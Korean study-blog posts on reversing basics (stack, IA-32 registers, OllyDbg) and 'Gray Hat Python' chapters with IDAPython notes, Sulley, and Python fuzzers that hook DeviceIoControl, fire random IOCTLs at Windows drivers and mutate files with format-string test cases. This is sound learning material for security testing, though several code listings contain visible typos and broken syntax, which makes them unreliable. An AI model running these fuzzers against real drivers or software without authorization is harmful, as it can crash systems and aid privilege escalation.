1부 05~07장

Posted by dw0rdptr
2015. 3. 16. 17:48 Study/Reversing&System Hacking

05장 - 스택

프로세스에서 스택 메모리의 역할

1) 함수 내의 로컬 변수 임시 저장

2) 함수 호출 시 파라미터 전달

3) 복귀 주소(retrun address) 저장


스택의 특징


&스택 구조

프로세스에서 스택 포인터(ESP)의 초기값은 Stack Bottom쪽에 가깝다. PUSH 명령에 의해서 Stack에 값이 추가되면 ESP는 Stack Top을 향해 움직인다 . POP 명령에 의해 스택에서 값이 제거되면 스택 포인터는 Stack Bottom을 향해 줄어든다.

* 실제 메모리상에서는 높은주소에서 낮은주소로 스택이 자람 즉, Stack Bottom이 메모리상의 높은 주소, Stack Top이 메모리상의 낮은 주소


06장 - abex' crackme #1 분석


명령어

 설명

 PUSH

 스택에 값을 입력

 INC

 값을 1 증가

 DEC

 값을 1 감소

 JMP

 지정된 주소로 점프

 CMP

 주어진 두개의 operand 비교        * SUB 명령어와 동일하나 operand값이 변경되지 않고  EFLAGS 레지스터만 변경됨 (두 operand의 값이 동일하다면 SUB 결과는 0, ZF=1)

 JE

 조건 분기(Jump if equal)    * ZF = 1이면 점프

 CALL

 지정된 주소의 함수를 호출


스택에 파라미터를 전달하는 방법

함수를 호출하기 전에 PUSH 명령어를 사용하여 파라미터를 입력할 때 역순으로 입력하는데, 이는 스택이 FILO(First In Last Out) 구조이기 때문에 파라미터를 역순으로 넣어주면 받는 함수에서 올바른 순서로 꺼낼 수있다.


07장 - 스택 프레임

스택 프레임

EBP 레지스터를 사용하여 스택 내의 로컬 변수, 파라미터, 복귀 주소에 접근하는 기법을 말한다. 어떤 기준 시점(함수 시작)의 ESP값을 EBP에저장하고 이를 함수 내에서 유지해주면 ESP 값이 변하더라도 EBP를 기준으로 안전하게 해당 함수의 변수, 파라미터, 복귀 주소에 접근 할 수 있다.



'Study > Reversing&System Hacking' 카테고리의 다른 글

pwnable.tw start  (0) 2017.08.27
1부 01~04장  (0) 2015.03.16

1부 01~04장

Posted by dw0rdptr
2015. 3. 16. 02:44 Study/Reversing&System Hacking

01장 - 리버싱 스토리

리버스 엔지니어링? : 물건이나 기계장치 혹은 시스템 등의 구조,기능,동작 등을 분석하여 그 원리를 이해하며 단점을 보완하고 새로운 아이디어를 추가하는 일련의 작업. 소프트웨어 분야의 리버스 엔지니어링은 보통 리버스 코드 엔지니어링이라고 한다.


분석방법

1) 정적분석

파일의 겉모습을 관찰하여 분석하는 방법이다. 파일을 실행하지 않고 파일의 종류,크기,헤더 그외의 다양한 정보를 확인하는 것이다.

2) 동적분석

파일을 직접 실행시켜 분석하고 디버깅을 통하여 흐름과 메모리 상태를 자세히 살펴보는방법. 프로그램 내부 구조와 동작원리를 분석할 수 있다.



02장 - Hello World! 리버싱


OllyDbg 사용법

명령어

  단축키

 설명

 Restart 

 [Ctrl+F2]

 다시 처음부터 디버깅 시작

 Step into

 [F7]

 하나의 옵코드 실행(CALL 명령을 만나면 그 함수 코드 내부로 따라들어감)

 Step Over

 [F8]

 하나의 옵코드실행(CALL 명령을 만나도 내부로 따라들어가지 않고 실행)

 Execute till Return

 [Ctrl+F9]

 함수 코드 내에서 RETN 명령어까지 실행(함수 탈출목적)

 Go to  

 [Ctrl+G]

 원하는 주소로 이동(코드,메모리를 확인할 때 사용. 실행되는것은 아님)

 Execute till Cursor

 [F4] 

 cursor 위치까지 실행(디버깅하고 싶은 주소까지 바로 갈 수 있음)

 Comment

  :

 Comment 추가

 Label

  : 

 Label 추가

 Set/Reset BreakPoint [F2] BP 설정/해제

 Run

 [F9]

 실행(BP가 걸려있으면 그곳에서 실행이 정지)

 Show the current EIP

 *

 현재 EIP 위치를 보여줌

 Show the previous Cursor

 - 직전 커서 위치를 다시 보여줌

 Preview CALL/JMP address

 [Enter]

 커서가 CALL/JMP 명령어에 위치해 있다면 해당 주소를 따라가서 보여줌(실행x)

                      

* EP(Entry Point)

EP란 Windows 실행파일(EXE,DLL,SYS 등) 의 코드 시작점을 의미한다. 프로그램이 실행될 때 CPU에 의해 가장 먼저 실행되는 코드 시작위치라고 생각하면 된다.

                          

베이스캠프 설치

디버거를 재실행할 때마다 처음부터 새로 시작하기 때문에 중간중간 중요 포인트(주소)를 지정해 그 포인트로 빠르게 갈 수 있는 방법을 기록해두면 디버깅을 재실행할 때 이전에 지정한 포인트들을 거치면서 목표 지점까지 빠르게 도달 할 수 있다.

Goto 명령을 이용한 베이스 캠프 설치, BP 설치, 주석, 레이블로 베이스캠프를 설치하고 이동할 수 있다.



디버깅을 수행할 때 분석을 원하는 코드를 빨리 찾아내는 방법으로는 

- 명령어를 하나하나 실행하면서 원하는 위치를 찾아가는 것 (코드의 크기가 작고 기능이 명확한 경우에 사용가능)

- 문자열 검색 방법(OllyDbg는 디버깅할 프로그램을 처음 로딩할 때 사전 분석 과정을 거치면서 참조되는 문자열과 호출되는 API들을 따로 목록으로 정리해놓음)

- API 검색 - 호출 코드에 BP

- API 검색 - API 코드에 직접 BP


패치

패치는 리버싱에서 빼놓을 수 없는 중요한 주제이다. 패치 기술을 이용하여 기존 응용 프로그램의 버그를 수정하거나 또는 새로운 기능을 추가시킬 수도 있다. 패치 대상으로는 파일 혹은 메모리가 될 수 있으며 프로그램의 코드,데이터 모두 패치가능하다.


문자열을 패치하는 방법

1) 문자열 버퍼를 직접 수정

2) 다른 메모리 영역에 새로운 문자열을 생성하여 전달



03장 - 리틀 엔디언 표기법


바이트 오더링

바이트 오더링은 데이터를 저장하는 방식이라고 생각하면되는데 바이트오더링 방식에는 크게 두 가지가 있다.


DWORD dw = 0xdeadbeef;

빅 엔디언(Big Endian)

데이터 저장방식 :[de][ad][be][ef]  -> 사람이 보기에 직관적. 대형 UNIX 서버에 사용되는 RISC 계열 CPU와 네트워크 프로토콜에서 많이 사용됨


리틀 엔디언(Little Endian) 

데이터 저장방식 : [ef][be][ad][de] -> 데이터를 역순으로 저장. Intel x86 CPU 에서 사용함. 산술연산과 데이터의 타입 확장/축소될 때 효율적



04장 - IA-32 Register 기본 설명



cpu레지스터란?

Register : cpu 내부-에 존재하는 다목적 저장공간 고속으로 데이터 처리 가능


Basic progrma execution registers

- General Purpose Registers(32bit -8개)

- Segment Registers(16bit - 6개)

- Program Status and Control Register(32bit - 1개)

- Instruction Pointer(32bit - 1개)


*레지스터 이름에 E(Etended)가 붙은 경우는 16비트 CPU부터 존재하던 16비트 레지스터를 32비트로 확장함을 의미


General Purpose Registers

General Purpose Registers(범용레지스터)에 관한 설명은 다음 링크에 있다.

파이썬 해킹 프로그래밍-디버거(레지스터와 스택)


EBP, ESI, EDI, ESP는 주로 메모리 주소를 저장한다

PUSH, POP, CALL, RET 명령어는 ESP를 직접 조작하기도 함

EBP는 함수가 호출되었을 때 그 순간의 ESP를 저장하고 있다가 함수가 리턴하기 직전에 다시 ESP에 값을 돌려주어 스택을 유지한다(Stack Frame 기법)

EDI,ESI는 주로 메모리 복사에 사용된다

각 레지스터들은 16비트 하위 호환을 위해 몇 개의 구획으로 나뉘어짐.

EAX : (0~31) 32bit

AX : (0~15) 16bit

AH : (8~15) 상위 8bit

AL : (0~7) 하위 8bit


세그먼트 레지스터

세그먼트(Segment)란?

- IA-32 보호 모드에서 메모리를 조각내 조각마다 시작주소, 범위, 접근권한 등을 부여해 메모리를 보호하는 기법

- 페이징 기법과 함께 가상 메모리를 실제 물리 메모리로 변경할 때 사용됨

- 세그먼트 메모리는 Segment Descriptor Table(SDT)에 기술되어 있는데 세그먼트레지스터는 이 SDT의 index를 가지고 있음


보호모드에서의 세그먼트 메모리 모델(IA-32에서 발췌)

-각 세그먼트 레지스터가 가리키는 세그먼트 디스크립터(Segment Descriptor)와 가상 메모리가 조합되어 선형주소가 되며 페이징기법에 의해 선형주소가 최종적으로 물리주소로 변환됨

* OS에서 페이징을 사용하지 않는다면 선형주소는 그대로 물리주소가 됨


세그먼트 레지스터의 종류

CS : Code Segment

SS : Stack Segment

DS : Data Segment

ES : Extra(Data) Segment

FS : Data Segment   -> SEH,TEB,PEB 등의 주소를 계산할 때 사용됨(고급 디버깅)

GS : Data Segment



프로그램 상태, 컨트롤 레지스터

EFLAGS : Flag Register                      * Flag? : 단어 그대로 깃발이 올라가면 1(ON/True) 내려가면 0(OFF/False)

EFLAGS는 16비트 FLAGS 레지스터의 확장형으로 32비트이며 각각의 비트마다 의미를 가지고 있다.

일부 비트는 시스템에서 직접 세팅하고, 일부 비트는 프로그램에서 사용된 명령의 수행 결과에 따라 세팅된다.


EFLAGS Register

리버싱 입문 단계에서는 세가지 flag(ZF,OF,CF)에 대해서만 이해하면 된다. 조건 분기 명령어에서 이들 Flag의 값을 확인하고 그에 따라 동작 수행 여부를 결정하기 때문이다.

ZF(Zero Flag) : 연산 명령 후에 결과 값이 0이 되면 ZF가 1(True)로 세팅됨

OF(Overflow Flag) : 부호있는수(signed integer)의 오버플로가 발생했을 때,MSB(Most Significant Bit)가 변경되었을 때 1로 세팅

CF(Carry Flag) : 부호없는수(unsigned integer)의 오버플로가 발생했을 때 1로 세팅


Instruction Pointer

EIP : Instruction pointer

Instruction Pointer는 CPU가 처리할 명령어의 주소를 나타내는 레지스터이며 32bit이다.(16bit IP 레지스터의 확장) CPU는 EIP에 저장된 메모리 주소의 명령어(instruction)를 하나 처리하고 자동으로 그 명령어 길이만큼 EIP 증가

* 범용 레지스터와는 다르게 EIP는 직접 값을 변경할 수 없음

  특정 명령어(JMP,Jcc,CALL,RET)를 사용하거나 인터럽트, 예외를 발생시켜 간접적으로 변경

'Study > Reversing&System Hacking' 카테고리의 다른 글

pwnable.tw start  (0) 2017.08.27
1부 05~07장  (0) 2015.03.16

[6주] 11장 IDAPython

Posted by dw0rdptr
2015. 2. 23. 14:54 Study/파이썬 해킹 프로그래밍

IDA Pro는 강력한 정적 분석 도구이다. 대부분의 아키텍쳐에 대한 바이너리를 분석할 수 있으며, 다양한 플랫폼에서 동작하고, 디버거를 내장하고 있다. 또한 IDC라는 자체 스크립트 언어를 갖고있으면 개발자가 IDA 플러그인 API를 사용할 수 있게 SDK를 제공한다.

2004년 IDAPython이 릴리즈되었는데, 이는 리버스 엔지니어가 IDA 플러그인 API와 IDC 스크립트, 파이썬이 제공하는 모듈에 접근할 수 있게 해주는 플러그인이다.


IDAPython은 IDC와 완벽히 호환되므로 IDC가 지원하는 모든 함수를 사용할 수 있다. 그중 스크립트를 작성할 때 주로 사용되는 함수를 살펴보자


유틸리티 함수

ScreenEA()

- IDA 화면에 있는 커서의 현재 위치를 구한다

GetInputFileMD5()

- IDA에 로드된 바이너리의 MD5 해시 값을 구한다.


세그먼트 - IDA에서 바이너리는 여러 세그먼트(CODE,DATA,BSS,STACK,CONST,XTRN)으로 나뉜다.  다음 함수들은 바이너리 내부의 세그먼트에 관한 정보를 구하는데 사용된다

FirstSeg()

- 바이너리의 첫 번째 세그먼트의 시작 주소를 반환한다.

NextSeg()

- 바이너리의 다음 세그먼트 시작주소를 반환한다. 더 이상 반환할 세그먼트 주소가 없다면 BADADDR을 반환

SegByName( string SegmentName)

- 특정 세그먼트 이름을 갖는 세그먼트의 시작 주소를 반환

SegEnd( long Address)

- 특정 주소가 포함되는 세그먼트의 마지막 주소 반환

SegStart( long Address)

- 특정 주소가 포함되는 세그먼트의 시작주소반환

SegName(long Address)

- 특정 주소가 포함되는 세그먼트의 이름반환

Segments()

- 바이너리에 있는 모든 세그먼트의 시작 주소 리스트를 반환


함수 - 바이너리 내의 함수에 관련된 작업을 수행할 때 유용하게 사용되는 함수

Functions( long StartAddress, long EndAddress )

- StartAddress와 EndAddress 사이에 존재하는 함수들의 시작 주소 리스트를 반환

Chunks( long FunctionAddress)

- 함수리스트를 반환

LocByName( string FunctionName )

- 특정 이름을 갖는 함수의 주소를 반환

GetFuncOffset( long Address )

- 함수 내의 주소를 함수 이름과 해당 함수 내에서의 오프셋 값을 나타내는 문자열로 변환

GetFunctionName( long Address )

- 특정 주소가 속하는 함수의 이름을 반환


교차 참조 - 대상 바이너리의 코드가 어떻게 실행되어 가는지, 그때의 데이터 흐름이 어떻게 변하는지 등을 교차함수 로 확인하는데, IDAPython은 다양한 교차 참조를 판단할 수 있게 많은 함수를 제공


CodeRefsTo( long Address, bool Flow )

- 특정 주소에 대한 코드 참조 리스트를 반환

CodeRefsFrom( long Address, bool Flow )

- 특정 주소로부터의 코드 참조 리스트를 반환

DataRefsTo( long Address )

- 특정 주소에 대한 데이터 참조 리스트를 반환

DataRefsFrom( long Address )

- 특정 주소로부터의 데이터 참조 리스트를 반환

'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[6주] 10장 윈도우 드라이버 퍼징

Posted by dw0rdptr
2015. 2. 23. 09:20 Study/파이썬 해킹 프로그래밍

윈도우 드라이버를 공격에는 드라이버에 대한 원격 공격보단 공격 대상 시스템에 대한 상승된 권한을 획득하기 위해 로컬 드라이버를 공격하는 것이 보편적이다. 오버플로우나 Impersonation 공격 취약점이 있는 드라이버가 로컬에 설치되어 있는 경우 그것을 이용하면 시스템 권한을 획득하기 때문에 원격으로 공격해 제한된 권한만을 얻었을 때보다 훨씬 자유롭게 시스템의 모든 정보에 접근 할 수 있다.

드라이버가 상호작용하려면 유저모드와 커널 모드 간의 변환이 이뤄져야 한다. 

불안정하게 구현된 loctl 핸들러를 이용하면 상승된 권한을 획득하거나 공격 대상 시스템에서 에러가 발생하게 만들 수 있다.


이제 Immunity 디버거의 후킹기능을 이용해 드라이버 퍼징을 해보자

윈도우 시스템에서는 드라이버 통신을 위해 IOCTL을 전달하려면 DeviceIoControl 함수를 사용해야 하는데 이 함수의 호출이 드라이버에 전달되기 전에 중간에 가로채 내용을 변경 할 수 있다. 이런 식으로 Immunity 디버거를 이용해 간단한 퍼저를 만들 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#ioctl_fuzzer.py
import struct
import random
from immlib import*
 
class ioctl_hook(LogBpHook):
    
    def __init__(self):
 
        self.imm = Debugger()
        self.logfile = "C:\ioctl_log.txt"
        LogBpHook.__init__(self)
 
    def run(self, regs):
        """
        ESP+4    -> hDevice
        ESP+8    -> IoControlCode
        ESP+C     -> InBuffer
        ESP+10     -> InBufferSize
        ESP+14     -> OutBuffer
        ESP+18    -> OutBufferSize
        ESP+1C    -> pBytesReturned
        ESP+20     -> pOverLapped
        """
 
        in_buf =""
 
        ioctl_code = self.imm.readLong(regs['ESP']+8)
 
        inbuffer_size = self.imm.readLong(regs['ESP'+ 0x10)
 
        inbuffer_ptr = self.imm.readLong(regs['ESP'+ 0xC)
 
        in_buffer = self.imm.readMemory(inbuffer_ptr, inbuffer_size)
        mutated_buffer = self.mutate(inbuffer_size)
 
        self.imm.writeMemory(inbuffer_ptr, mutated_buffer)
 
        self.save_test_case( ioctl_code, inbuffer_size, in_buffer, mutated_buffer )
 
 
    def mutate( self, inbuffer_size ):
 
        counter = 0
        mutated_buffer = ""
 
        while counter < inbuffer_size:
            mutated_buffer += struct.pack( "H", random.randint(0255) )[0]
            counter += 1
 
        return mutated_buffer
 
    def save_test_case( self, ioctl_code, inbuffer_size, in_buffer, mutated_buffer ):
 
        message = "*****\n"
        message += "IOCTL Code: 0x%08x\n" % ioctl_code
        message += "Buffer Size: %d\n" % inbuffer_size
        message += "Original Buffer: %s\n" % in_buffer
        message += "Mutated Buffer: %s\n" % mutated_buffer.encode("HEX")
        message += "*****\n\n"
 
        fd = open(self.logfile, "a")
        fd.write(message)
        fd.close()
 
def main(args):
 
    imm = Debugger()
 
    deviceiocontrol = imm.getAddress( "kernel32.DeviceIoControl" )
        
    ioctl_hooker = ioctl_hook()
    ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
        
    return "[*] IOCTL Fuzzer Ready for Action!"
 
cs


1.ioctl_fuzzer.py 파일을 immunity 디버거의 PyCommand 디렉토리에 넣는다. 

2. Immunity 를 실행하고 Open 메뉴로 와이어샤크를 실행시킨다 .

3. PyCommand로 ioctl_fuzzer를 이용해 퍼징을 수행한다.

4. 퍼징 수행 내용이 C:\ 경로에 로깅된다.


이 기술은 쉽고 효과적인 반면 퍼징 대상이되는 디바이스의 이름을 알지 못하며 유저 모드 소프트웨어가 사용하는 IOCTL 코드만을 알 수 있기 때문에 모든 테스트 케이스를 테스트 할 수 있는 것은 아니다.


Driverlib는 디바이스 이름과 IOCTL 코드 등 드라이버에서 핵심이 되는 정보를 자동으로 추출한다. 드라이버 퍼저에서 사용할 디바이스 이름과 IOCTL 코드를 driverlib를 통해 구한다.

사용법은 간단하다. C:\WINDOWS\System32\drivers\beep.sys 드라이버를 로드한 후 immunity 디버거의 PyShell에서

>>>import driverlib

>>>driver = driverlib.Driver()

>>>driver.getDeviceNames()

['\\Device\\Beep']

>>>

세 줄의 코드만을 작성해 \\Device\\Beep 라는 디바이스 이름을 찾아냈다.


이제 드라이버 퍼저를 작성하자. 먼저 IOCTL 코드 리스트와 디바이스 리스트를 구해 dictionary를 다시 파일에 저장한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import driverlib
from immlib import *
def main( args ):
    ioctl_list = []
    device_list = []
    
    dbg = Debugger()
    driver = driverlib.Driver()
 
    ioctl_list = driver.getIOCTLCodes()
    if not len(ioctl_list):
        return "[*] ERROR! Couldn't find any IOCTL codes."
 
    device_list = driver.getDeviceNames()
    if not len(device_list):
        return "[*] ERROR! Couldn't find any device names."
 
    master_list = {}
    master_list["ioctl_list"= ioctl_list
    master_list["device_list"= device_list
 
    fd = open( args[0], "wb")
    pickle.dump( master_list, fd )
    fd.close()
 
    return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % args[0]
 
cs


디바이스 이름과 지원되는 IOCTL 코드값을 구했으므로 간단한 퍼저를 작성하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import pickle
import sys
import random
from ctypes import *
 
kernel32 = windll.kernel32
 
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
 
fd = open(sys.argv[1], "rb")
master_list = pickle.load(fd)
ioctl_list = master_list["ioctl_list"]
device_list = master_list["device_list"]
fd.close()
 
valid_devices = []
 
for device_name in device_list:
 
        device_file = u"\\\\.\\%s" % device_name.split("\\")[::-1][0]
        print "[*] Testing for device: %s" % device_file
        
        driver_handle = kernel32.CreateFileW(device_file,GENERIC_READ|
                                    GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
        if driver_handle:
            print "[*] Success! %s is a valid device!"
                
            if device_file not in valid_devices:
                        valid_devices.append( device_file )
            kernel32.CloseHandle( driver_handle )
        else:
            print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
        print "[*] No valid devices found. Exiting..."
        sys.exit(0)
 
while 1:
 
        fd = open("my_ioctl_fuzzer.log","a")
 
        current_device = valid_devices[ random.randint(0len(valid_devices)-1 ) ]
        fd.write("[*] Fuzzing: %s" % current_device)
 
        current_ioctl = ioctl_list[ random.randint(0len(ioctl_list)-1)]
        fd.write("[*] With IOCTL: 0x%08x" % current_ioctl)
 
        current_length = random.randint(010000) y
        fd.write("[*] Buffer length: %d" % current_length)
 
        in_buffer = "A" * current_length
 
        out_buf = (c_char * current_length)()
        bytes_returned = c_ulong(current_length)
 
        driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ|
                                GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
        fd.write("!!FUZZ!!")
 
        kernel32.DeviceIoControl( driver_handle, current_ioctl, in_buffer,
                                current_length, byref(out_buf),
                                current_length, byref(bytes_returned),
                                None )
 
        fd.write( "[*] Test case finished. %d bytes returned.\n" % bytes_returned.value )
 
        kernel32.CloseHandle( driver_handle )
        fd.close()
 
cs


'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 11장 IDAPython  (0) 2015.02.23
[5주] 09장 Sulley  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[5주] 09장 Sulley

Posted by dw0rdptr
2015. 2. 23. 06:11 Study/파이썬 해킹 프로그래밍

Sulley는 파이썬기반의 강력한 퍼징 프레임워크로서 패킷을 캡쳐할 수 있고 광범위한 에러 보고 기능과 VMWare  자동화를 제공한다.


Sulley는 퍼징 프로토콜을 나타내는 데이터 형식을 제공해 복잡한 프로토콜도 빠르게 만들 수 있다.

이런 각 데이터 컴포넌트들을 프리미티브라 부른다.

기본적인 프리미티브들에는


문자열(string)

가장 자주 사용하게 되는 프리미티브로 s_string() 지시어를 사용해 프리미티브 안에 포함돼 잇는 데이터가 문자열이라는 것을 나타낸다.

구분자(Delimiter)

긴 문자열을 처리하기 쉽게 여러개의 문자열로 나누는데 사용되는 짧은 문자열이다. s_delim()    지시어를 사용한다.

정적,랜덤 프리미티브

정적 문자열은 s_static()지시어를 사용하고 길이가 유동적인 랜덤 데이터는 s_random()      지시어를 이용해 만들어낸다. 랜덤데이터를 만들때는 몇 개의 인자가 사용되는데, min_length와 max_length 인자는 랜덤데이터의 최소, 최대 길이를 나타내고 num_mutations 인자는 원래의 데이터를 사용하기 전까지 Sulley가 문자열을 변형하는 횟수를 나타낸다.

바이너리 데이터(Binary Data) 

바이너리 데이터 프리미티브는 어떤 바이너리 데이터든 복사해 사용할 수 있으며, 이는 알려지지 않은 프로토콜의 패킷을 캡쳐할 때나 형식이 완전하게 갖춰지지 않은 데이터에 대해 서버가 단지 어떻게 응답하는지 보고자 할 때 특히 유용하다. s_binary() 지시어를 사용한다.

정수(Integer)

텍스트나 바이너리 프로토콜 모두에서 길이를 판단하거나 데이터 구조체를 표현하기위해, 그 밖의 모든 종류의 작업을 수행하기 위해 정수가 사용된다.  Sulley는 다음과 같이 주요 정수형을 모두 지원한다

------------------------------------

1 byte - s_byte(), s_char()

2 bytes - s_word(), s_short()

4 bytes - s_dword(), s_long(), s_int()

8 bytes - s_qword(), s_double()

------------------------------------


블록과 그룹은 프리미티브들을 구조적인 방법으로 연결하기 위해 Sulley가 제공하는 특징이다. 


블록 - 각 프리미티브들의 집합을 하나의 구조 안으로 모으는 것

그룹 - 특정 프리미티브들의 집합을 블록에 연결해 해당 블록에 대한 퍼징이 반복적으로 수행되는 동안에 각 프리미티브가 주기적으로 퍼징에 사용되게 하는 것






'Study > 파이썬 해킹 프로그래밍' 카테고리의 다른 글

[6주] 11장 IDAPython  (0) 2015.02.23
[6주] 10장 윈도우 드라이버 퍼징  (0) 2015.02.23
[5주] 08장 퍼징  (0) 2015.02.16
[4주] 07장 DLL과 코드 인젝션  (0) 2015.02.16
[3주] 05장~06장 후킹  (0) 2015.01.26

[5주] 08장 퍼징

Posted by dw0rdptr
2015. 2. 16. 17:30 Study/파이썬 해킹 프로그래밍

퍼징은 소프트웨어에 있는 버그를 찾아내는 가장 효과적인 기술중 하나로, 애플리케이션이 에러를 발생하게 만들기 위해 비정상적인 데이터를 만들어 애플리케이션에 전달하는 방법이다.

퍼저에는 제너레이션 퍼저와 뮤테이션 퍼저 두 가지가 있는데,

제너레이션 퍼저는 새로운 데이터를 생성해 전달하는 반면에 뮤테이션 퍼저는 기존의 데이터를 생성해 대상 애플리케이션에 전달한다.


효과적인 퍼저를 만들기 위해선 먼저 버그의 유형을 간단히 살펴볼 필요가 있다.

버그의 유형으로는 가장 흔한 형태의 소프트웨어 취약점인 버퍼오버플로우로 분류되는 스택기반의 오버플로우, 힙 기반의 오버플로우다. 또 흔하게 볼 수 있는 유형인 정수 오버플로우와 포맷스트링 공격도 있다.

파일 포맷 취약점을 이용하는 공격 벡터는 파일 포맷 파서 자체의 버그를 찾아내는 방향으로 관심을 기울여야 한다. 목적 달성을 위해서는 모든 종류의 다양한 파일 포맷에대한 변형을 만들 수 있어야 한다.

이제 퍼저를 구현해보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#file_fuzzer.py
from pydbg import *
from pydbg.defines import *
 
import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getopt
 
class file_fuzzer:
    def __init__(self, exe_path, ext, notify):
 
        self.exe_path             = exe_path
        self.ext                 = ext
        self.notify_crash         = notify
        self.orig_file             = None
        self.mutated_file         = None
        self.iteration             = 0
        self.exe_path             = exe_path
        self.orig_file             = None
        self.mutated_file         = None
        self.iteration             = 0
        self.crash                 = None
        self.send_notify         = False
        self.pid                 = None
        self.in_accessv_handler = False
        self.dbg                 = None
        self.running             = False
        self.ready                 = False
 
        #option
        self.smtpserver = 'mail.nostarch.com'
        self.recipients = ['jms@bughunter.ca',]
        self.sender = 'jms@bughunter.ca'
 
        self.test_cases = ["%s%n%s%n%s%n""\xff""\x00""A"]
 
    def file_picker(self):
 
        file_list = os.listdir("examples/")
        list_length = len(file_list)
        file = file_list[random.randint(0, list_length - 1)]
        shutil.copy("examples\\%s" % file"test.%s" % self.ext)
        
        return file
 
    def fuzz(self):
        while 1:
        if not self.running:
 
            self.test_file = self.file_picker()
            self.mutate_file()
 
            pydbg_thread = threading.Thread(target = self.start_debugger)
            pydbg_thread.setDaemon(0)
            pydbg_thread.start()
 
            while self.pid == None:
                time.sleep(1)
 
            monitor_thread = threading.Thread(target = self.monitor_debugger)
            monitor_thread.setDaemon(0)
            monitor_thread.start()
            self.iteration += 1
 
        else:
            time.sleep(1)
 
    def start_debugger(self):
 
        print "[*] Starting debugger for iteration: %d" % self.iteration
        self.running = True
        self.dbg = pydbg()
 
        self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, self.check_accessv)
        pid = self.dbg.load(self.exe_path, "test.%s" % self.ext)
        
        self.pid = self.dbg.pid
        self.dbg.run()
 
    def check_accessv(self, dbg):
 
        if dbg.dbg.u.Exception.dwFirstChance:
            return DBG_CONTINUE
 
        print "[*] Woot! Handling an access violation!"
        self.in_accessv_handler = True
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(dbg)
        self.crash = crash_bin.crash_synopsis()
 
        crash_fd = open("crashes\\crash-%d" % self.iteration, "w")
        crash_fd.write(self.crash)
 
        shutil.copy("test.%s" % self.ext, "crashes\\%d.%s" % 
                        (self.iteration, self.ext))
        shutil.copy("examples\\%s" % self.test_file, "crashes\\%d_orig.%s" % 
                        (self.iteration, self.ext))
        
        self.dbg.terminate_process()
        self.in_accessv_handler = False
        self.running = False
        
        return DBG_EXCEPTION_NOT_HANDLED
 
    def monitor_debugger(self):
        counter = 0
        print "[*] Monitor thread for pid: %d waiting." % self.pid,
        
        while counter < 3:
            time.sleep(1)
            print counter,
            counter += 1
        
        if self.in_accessv_handler != True:
            time.sleep(1)
            self.dbg.terminate_process()
            self.pid = None
            self.running = False
        else:
            print "[*] The access violation handler is doing its business. Waiting."
            while self.running:
                time.sleep(1)
 
    def notify(self):
 
        crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:%d\n\nOutput:\n\n %s" % 
                            (self.sender, self.iteration, self.crash)
 
        session = smtplib.SMTP(smtpserver)
        session.sendmail(sender, recipients, crash_message)
        session.quit()
        
        return
 
    def mutate_file(self):
 
        fd = open("test.%s" % self.ext, "rb")
        stream = fd.read()
        fd.close()
 
        test_case = self.test_cases[random.randint(0len(self.test_cases) - 1)]
        stream_length = len(stream)
        rand_offset = random.randint(0, stream_length - 1)
        rand_len = random.randint(11000)
 
        test_case = test_case * rand_len
 
        fuzz_file = stream[0:rand_offset]
        fuzz_file += str(test_case)
        fuzz_file += stream[rand_offset]
 
        fd = open("test.%s" % self.ext, "wb")
        fd.write(fuzz_file)
        fd.close()
 
        return
    def print_usage():
        
        print "[*]"
        print "[*] file_fuzzer.py -e  -x "
        print "[*]"
        
        sys.exit(0)
        
        if __name__ == "__main__":
            print "[*] Generic File Fuzzer."
 
        try:
            opts, argo = getopt.getopt(sys.argv[1:], "e:x:n")
        
        except getopt.GetoptError:
            
            print_usage()
 
        exe_path = None
        ext = None
        notify = False
 
        for o,a in opts:
        
            if o == "-e":
                exe_path = a
            elif o == "-x":
                ext = a
            elif o == "-n":
                notify = True
 
        if exe_path is not None and ext is not None:
            fuzzer = file_fuzzer(exe_path, ext, notify)
            fuzzer.fuzz()
        else:
            print_usage()
 
 
 
 
cs


